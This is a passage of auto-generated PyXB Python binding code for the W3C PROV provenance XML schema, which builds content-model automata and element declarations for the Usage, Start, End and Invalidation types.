metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 72, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 73, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 74, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 75, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 76, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 77, 6)) counters.add(cc_5) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Usage._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 70, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Usage._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'entity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 71, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Usage._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'time')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 72, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Usage._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 73, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Usage._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 74, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Usage._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'role')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 75, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Usage._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 76, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 77, 6)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, True) ])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Usage._Automaton = _BuildAutomaton_3() Start._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), IDRef, scope=Start, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 85, 6))) Start._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'trigger'), IDRef, scope=Start, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 86, 6))) Start._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'starter'), IDRef, scope=Start, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 87, 6))) Start._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'time'), pyxb.binding.datatypes.dateTime, scope=Start, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 88, 6))) Start._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Start, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Start._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'role'), Role, scope=Start, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2))) Start._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Start, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) Start._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'location'), Location, scope=Start, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2))) def _BuildAutomaton_4 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_4 del _BuildAutomaton_4 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 86, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 87, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 88, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 89, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 90, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 91, 6)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 92, 6)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 93, 6)) counters.add(cc_7) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(Start._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 85, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Start._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'trigger')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 86, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Start._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'starter')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 87, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Start._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'time')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 88, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Start._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 89, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Start._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 90, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(Start._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'role')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 91, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(Start._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 92, 6)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 93, 6)) st_8 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_8) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) transitions.append(fac.Transition(st_8, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, True) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, False) ])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_7, True) ])) st_8._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Start._Automaton = _BuildAutomaton_4() End._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), IDRef, scope=End, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 100, 6))) End._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'trigger'), IDRef, scope=End, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 101, 6))) End._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'ender'), IDRef, scope=End, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 102, 6))) End._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'time'), pyxb.binding.datatypes.dateTime, scope=End, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 103, 6))) End._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=End, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) End._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'role'), Role, scope=End, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2))) End._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=End, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) End._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'location'), Location, scope=End, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2))) def _BuildAutomaton_5 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_5 del _BuildAutomaton_5 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 101, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 102, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 103, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 104, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 105, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 106, 6)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 107, 6)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 108, 6)) counters.add(cc_7) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(End._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 100, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(End._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'trigger')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 101, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(End._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'ender')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 102, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(End._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'time')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 103, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(End._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 104, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(End._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 105, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(End._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'role')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 106, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(End._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 107, 6)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 108, 6)) st_8 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_8) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) transitions.append(fac.Transition(st_8, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, True) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, False) ])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_7, True) ])) st_8._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) End._Automaton = _BuildAutomaton_5() Invalidation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'entity'), IDRef, scope=Invalidation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 115, 6))) Invalidation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), IDRef, scope=Invalidation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 116, 6))) Invalidation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'time'), pyxb.binding.datatypes.dateTime, scope=Invalidation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 117, 6))) Invalidation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Invalidation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Invalidation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'role'), Role, scope=Invalidation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2))) Invalidation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Invalidation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) Invalidation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'location'), Location, scope=Invalidation, 